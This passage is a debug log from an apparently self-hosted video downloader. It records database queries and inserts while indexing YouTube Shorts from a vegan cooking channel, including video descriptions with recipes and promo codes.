idle=7.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [779] 20:29:31.458 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Seth Rogen explains his logic behind being gluten free. This is pretty much how most of my conversations go with people about being on a gluten free diet.\n\nSubscribe for daily gluten free and vegan recipes!", "duration" => 39, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-08 How I explain I'm gluten free #shorts/How I explain I'm gluten free #shorts [yxUCWqLNeZ4].NA", "id" => "yxUCWqLNeZ4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/yxUCWqLNeZ4", "playlist_index" => 391, "timestamp" => 1654709775, "title" => "How I explain I'm gluten free #shorts", "upload_date" => "20220608"} 20:29:31.459 [debug] QUERY OK source="sources" db=0.8ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:31.460 [debug] QUERY OK source="sources" db=0.5ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:31.462 [debug] QUERY OK source="media_items" db=1.6ms idle=3.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-08 17:36:15Z], 1] 20:29:31.463 [debug] QUERY OK source="media_items" db=0.4ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Seth Rogen explains his logic behind being gluten free. This is pretty much how most of my conversations go with people about being on a gluten free diet.\n\nSubscribe for daily gluten free and vegan recipes!", "How I explain I'm gluten free #shorts", "7dd30e5e-8190-42b6-9597-86b76759e73b", 1, [], 39, false, "yxUCWqLNeZ4", "https://www.youtube.com/shorts/yxUCWqLNeZ4", 391, "/downloads/downloads/alec/Steamy Vegan/2022-06-08 How I explain I'm gluten free #shorts/How I explain I'm gluten free #shorts [yxUCWqLNeZ4].NA", false, false, true, 1, ~U[2022-06-08 17:36:15Z], ~U[2026-03-22 03:29:31Z], ~U[2026-03-22 03:29:31Z], "Seth Rogen explains his logic behind being gluten free. This is pretty much how most of my conversations go with people about being on a gluten free diet.\n\nSubscribe for daily gluten free and vegan recipes!", "How I explain I'm gluten free #shorts", 1, 39, false, "yxUCWqLNeZ4", "https://www.youtube.com/shorts/yxUCWqLNeZ4", "/downloads/downloads/alec/Steamy Vegan/2022-06-08 How I explain I'm gluten free #shorts/How I explain I'm gluten free #shorts [yxUCWqLNeZ4].NA", true, ~U[2022-06-08 17:36:15Z]] 20:29:31.463 [debug] QUERY OK source="sources" db=0.5ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:31.464 [debug] QUERY OK source="media_profiles" db=0.7ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:31.465 [debug] QUERY OK source="media_items" db=0.5ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [780] 20:29:31.465 [debug] Current batch of media processed. Will check again in 1000ms 20:29:32.466 [debug] Current batch of media processed. Will check again in 1000ms 20:29:33.467 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "So you used the single chipotle pepper in adobo sauce that the recipe called for -- now what are you supposed to do with the rest of the can? 🤔\n\nFreeze them up in your ice cube tray with a splash of olive oil! Watch the rest of my TOP TEN FOOD HACKS! ⬇️\nhttps://youtu.be/Iv8GO56gMXk", "duration" => 54, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-07 Chipotle pepper hack! 🌶 🥵/Chipotle pepper hack! 🌶 🥵 [nk9XmouY8O4].NA", "id" => "nk9XmouY8O4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/nk9XmouY8O4", "playlist_index" => 392, "timestamp" => 1654628416, "title" => "Chipotle pepper hack! 🌶 🥵", "upload_date" => "20220607"} 20:29:33.468 [debug] QUERY OK source="sources" db=0.7ms idle=997.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:33.469 [debug] QUERY OK source="sources" db=0.3ms idle=885.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:33.475 [debug] QUERY OK source="media_items" db=5.8ms idle=885.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-07 19:00:16Z], 1] 20:29:33.482 [debug] QUERY OK source="media_items" db=6.8ms idle=892.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["So you used the single chipotle pepper in adobo sauce that the recipe called for -- now what are you supposed to do with the rest of the can? 🤔\n\nFreeze them up in your ice cube tray with a splash of olive oil! Watch the rest of my TOP TEN FOOD HACKS! ⬇️\nhttps://youtu.be/Iv8GO56gMXk", "Chipotle pepper hack! 🌶 🥵", "9c262d30-31ba-4932-ab3a-0972d96cd1ef", 1, [], 54, false, "nk9XmouY8O4", "https://www.youtube.com/shorts/nk9XmouY8O4", 392, "/downloads/downloads/alec/Steamy Vegan/2022-06-07 Chipotle pepper hack! 🌶 🥵/Chipotle pepper hack! 🌶 🥵 [nk9XmouY8O4].NA", false, false, true, 0, ~U[2022-06-07 19:00:16Z], ~U[2026-03-22 03:29:33Z], ~U[2026-03-22 03:29:33Z], "So you used the single chipotle pepper in adobo sauce that the recipe called for -- now what are you supposed to do with the rest of the can? 🤔\n\nFreeze them up in your ice cube tray with a splash of olive oil! Watch the rest of my TOP TEN FOOD HACKS! ⬇️\nhttps://youtu.be/Iv8GO56gMXk", "Chipotle pepper hack! 🌶 🥵", 1, 54, false, "nk9XmouY8O4", "https://www.youtube.com/shorts/nk9XmouY8O4", "/downloads/downloads/alec/Steamy Vegan/2022-06-07 Chipotle pepper hack! 🌶 🥵/Chipotle pepper hack! 🌶 🥵 [nk9XmouY8O4].NA", true, ~U[2022-06-07 19:00:16Z]] 20:29:33.484 [debug] QUERY OK source="sources" db=1.8ms idle=14.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:33.486 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.7ms idle=15.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:33.489 [debug] QUERY OK source="media_items" db=1.4ms idle=13.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [781] 20:29:33.490 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "We just did a full review of the iHarvest indoor hydroponic garden system. If you've ever been curious about indoor hydroponic gardens then you'll learn a ton in this review and maybe this one will be the best one for you!\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase!\n\nCheck out the full review here: https://youtu.be/dkAJWc2mD1o", "duration" => 42, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-07 Say hello to my little friend 🌱 My iHarvest indoor garden! #shorts/Say hello to my little friend 🌱 My iHarvest indoor garden! #shorts [LjazaFHpvfY].NA", "id" => "LjazaFHpvfY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/LjazaFHpvfY", "playlist_index" => 393, "timestamp" => 1654617610, "title" => "Say hello to my little friend 🌱 My iHarvest indoor garden! #shorts", "upload_date" => "20220607"} 20:29:33.492 [debug] QUERY OK source="sources" db=2.1ms idle=15.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:33.493 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=10.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:33.501 [debug] QUERY OK source="media_items" db=7.0ms decode=0.8ms idle=9.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-07 16:00:10Z], 1] 20:29:33.509 [debug] QUERY OK source="media_items" db=6.3ms queue=0.1ms idle=15.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We just did a full review of the iHarvest indoor hydroponic garden system. If you've ever been curious about indoor hydroponic gardens then you'll learn a ton in this review and maybe this one will be the best one for you!\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase!\n\nCheck out the full review here: https://youtu.be/dkAJWc2mD1o", "Say hello to my little friend 🌱 My iHarvest indoor garden! #shorts", "781e093a-f897-4860-8571-d351ae8561b7", 1, [], 42, false, "LjazaFHpvfY", "https://www.youtube.com/shorts/LjazaFHpvfY", 393, "/downloads/downloads/alec/Steamy Vegan/2022-06-07 Say hello to my little friend 🌱 My iHarvest indoor garden! #shorts/Say hello to my little friend 🌱 My iHarvest indoor garden! #shorts [LjazaFHpvfY].NA", false, false, true, 1, ~U[2022-06-07 16:00:10Z], ~U[2026-03-22 03:29:33Z], ~U[2026-03-22 03:29:33Z], "We just did a full review of the iHarvest indoor hydroponic garden system. If you've ever been curious about indoor hydroponic gardens then you'll learn a ton in this review and maybe this one will be the best one for you!\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase!\n\nCheck out the full review here: https://youtu.be/dkAJWc2mD1o", "Say hello to my little friend 🌱 My iHarvest indoor garden! #shorts", 1, 42, false, "LjazaFHpvfY", "https://www.youtube.com/shorts/LjazaFHpvfY", "/downloads/downloads/alec/Steamy Vegan/2022-06-07 Say hello to my little friend 🌱 My iHarvest indoor garden! #shorts/Say hello to my little friend 🌱 My iHarvest indoor garden! #shorts [LjazaFHpvfY].NA", true, ~U[2022-06-07 16:00:10Z]] 20:29:33.510 [debug] QUERY OK source="sources" db=1.0ms idle=20.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:33.511 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.3ms idle=18.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:33.512 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=18.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [782] 20:29:33.513 [debug] Current batch of media processed. Will check again in 1000ms 20:29:34.514 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nThese beauties are a spin on my 7-INGREDIENT Protein Bars. They’re melt-in-your-mouth, fudgey, decadent goodness without any refined sugars or unhealthy ingredients. Great as a post-workout snack or an anytime treat when you need a quick fudgey fix! 🍫 🤤 \n\nRecipe video for my original 7-ingredient protein bars: https://youtu.be/ZjO06fyfHLc\n\nSAVE THIS RECIPE FOR LATER! ✔️ \n\nINGREDIENTS: \n1 jar (375g) nut or seed butter\n1/2 cup coconut oil\n1/2 cup toasted coconut flakes \n1/2 cup hemp hearts\n1 cup plant-based protein powder (vanilla flavour )\n1 tsp vanilla\n1/4 cup maple syrup\n1/4 cup cacao nibs\n1/4 cup dried cranberries\n\n1. Start by adding the coconut oil to a saucepan and let it melt on medium heat - add your nut or seed butter, pour in the maple syrup and continue to frequently stir the mixture on medium heat so that the nut butter doesn’t burn. Once your mixture has melted into a liquid, turn off the heat — Add in the vanilla extract, protein powder, cacao nibs, cranberries and hemp seeds and combine until it’s a completely uniform mixture — Once that’s done, set it aside momentarily and line a 9x9” square tin with parchment paper — carefully spoon out the nut butter mixture into the tin — Press the mixture into the tin with your wooden spoon until it’s in a smooth even layer, and set it aside — top with toasted coconut flakes + Sprinkle some flaky sea salt as an optional, but highly recommended finishing touch, and place the tin in the fridge for at least 2 hours to set — Once it’s set you can slice into whatever size of bar you like. \n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals", "duration" => 16, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-07 Coconut 🥥 cranberry protein bars 💪🏻/Coconut 🥥 cranberry protein bars 💪🏻 [bVYESfxv8lU].NA", "id" => "bVYESfxv8lU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/bVYESfxv8lU", "playlist_index" => 394, "timestamp" => 1654560009, "title" => "Coconut 🥥 cranberry protein bars 💪🏻", "upload_date" => "20220607"} 20:29:34.515 [debug] QUERY OK source="sources" db=0.3ms idle=1006.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:34.515 [debug] QUERY OK source="sources" db=0.4ms idle=1005.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:34.518 [debug] QUERY OK source="media_items" db=2.3ms idle=1004.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-07 00:00:09Z], 1] 20:29:34.521 [debug] QUERY OK source="media_items" db=1.7ms idle=1006.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nThese beauties are a spin on my 7-INGREDIENT Protein Bars. They’re melt-in-your-mouth, fudgey, decadent goodness without any refined sugars or unhealthy ingredients. Great as a post-workout snack or an anytime treat when you need a quick fudgey fix! 🍫 🤤 \n\nRecipe video for my original 7-ingredient protein bars: https://youtu.be/ZjO06fyfHLc\n\nSAVE THIS RECIPE FOR LATER! ✔️ \n\nINGREDIENTS: \n1 jar (375g) nut or seed butter\n1/2 cup coconut oil\n1/2 cup toasted coconut flakes \n1/2 cup hemp hearts\n1 cup plant-based protein powder (vanilla flavour )\n1 tsp vanilla\n1/4 cup maple syrup\n1/4 cup cacao nibs\n1/4 cup dried cranberries\n\n1. Start by adding the coconut oil to a saucepan and let it melt on medium heat - add your nut or seed butter, pour in the maple syrup and continue to frequently stir the mixture on medium heat so that the nut butter doesn’t burn. Once your mixture has melted into a liquid, turn off the heat — Add in the vanilla extract, protein powder, cacao nibs, cranberries and hemp seeds and combine until it’s a completely uniform mixture — Once that’s done, set it aside momentarily and line a 9x9” square tin with parchment paper — carefully spoon out the nut butter mixture into the tin — Press the mixture into the tin with your wooden spoon until it’s in a smooth even layer, and set it aside — top with toasted coconut flakes + Sprinkle some flaky sea salt as an optional, but highly recommended finishing touch, and place the tin in the fridge for at least 2 hours to set — Once it’s set you can slice into whatever size of bar you like. \n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals", "Coconut 🥥 cranberry protein bars 💪🏻", "4c175d04-b4bb-4382-b21a-43282c0b7c69", 1, [], 16, false, "bVYESfxv8lU", "https://www.youtube.com/shorts/bVYESfxv8lU", 394, "/downloads/downloads/alec/Steamy Vegan/2022-06-07 Coconut 🥥 cranberry protein bars 💪🏻/Coconut 🥥 cranberry protein bars 💪🏻 [bVYESfxv8lU].NA", false, false, true, 2, ~U[2022-06-07 00:00:09Z], ~U[2026-03-22 03:29:34Z], ~U[2026-03-22 03:29:34Z], "Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nThese beauties are a spin on my 7-INGREDIENT Protein Bars. They’re melt-in-your-mouth, fudgey, decadent goodness without any refined sugars or unhealthy ingredients. Great as a post-workout snack or an anytime treat when you need a quick fudgey fix! 🍫 🤤 \n\nRecipe video for my original 7-ingredient protein bars: https://youtu.be/ZjO06fyfHLc\n\nSAVE THIS RECIPE FOR LATER! ✔️ \n\nINGREDIENTS: \n1 jar (375g) nut or seed butter\n1/2 cup coconut oil\n1/2 cup toasted coconut flakes \n1/2 cup hemp hearts\n1 cup plant-based protein powder (vanilla flavour )\n1 tsp vanilla\n1/4 cup maple syrup\n1/4 cup cacao nibs\n1/4 cup dried cranberries\n\n1. Start by adding the 